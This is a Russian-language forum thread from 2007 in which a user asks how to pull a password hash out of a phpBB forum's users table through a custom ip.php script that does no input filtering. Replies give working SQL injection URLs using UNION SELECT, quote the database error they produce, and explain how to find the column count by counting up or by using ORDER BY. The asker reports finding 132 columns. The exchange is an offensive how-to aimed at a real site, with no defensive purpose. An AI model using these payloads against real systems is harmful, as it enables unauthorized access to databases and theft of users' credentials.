Просмотр полной версии : Елементарная sql-иньекция
Проблема такая, на одном форуме phpbb есть самописаный скрипт каторый может проверять юзеров на сходство по ИП. В таблеце phpbb_users в какойто колонке сохраняется последний ИП юзера с каторого он заходил, но в етом скрипте нет никакой фильтрации, например, если я хочу узнать у каво из посетителей пароль "123123", тогда мне нужно зделать так /ip.php?id=0+union+select+*+from+phpbb_users+where+ user_password='4297f44b13955235245b2497399d7a93' и т.д. Сам скрипт выдает только ид/ник/ип юзера и все, как можно пробить пароль юзера по id?
/ip.php?id=0+union+select+1,user_password,3,4+from+ phpbb_users+where+user_id=1
с учётом того что 4 колонки, вторая выводящая
/ip.php?id=0+union+select+1,user_password,3,4+from+ phpbb_users+where+user_id=1
с учётом того что 4 колонки, вторая выводящая
Вот так скрипт ответил :
Could not query attachment informations
DEBUG MODE
SQL Error : 1222 The used SELECT statements have a different number of columns
SELECT * FROM phpbb_users WHERE user_id = 0 union select 1,user_password,3,4 from phpbb_users where user_id=1
Line : 51
File : ip.php
aka PSIH
24.12.2007, 05:41
число колонок подбирай...
union select 1,2,3 и так далее/* пока не подберешь число колонок..
Как подберешь смотри какие из них выводятся…
уже до 100 дошел, значит здесь либо много колонок либо я делаю чтото нетак
ужас, 132 колонки было, спасибо запомошь всем кто отписался :)
aka PSIH
24.12.2007, 07:04
n01038
Не обязательно было все 132 колонки перебирать.. :)
можно было быстро и просто через order by & group by подобрать ;)
n01038
Не обязательно было все 132 колонки перебирать.. :)
можно было быстро и просто через order by & group by подобрать ;)
можно по подробней? :)
набиаешь например /ip.php?id=0+order+by+100/*, если ошибка появилась значит число колонок меньше 100, если не появилась значить больше или равно 100...
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot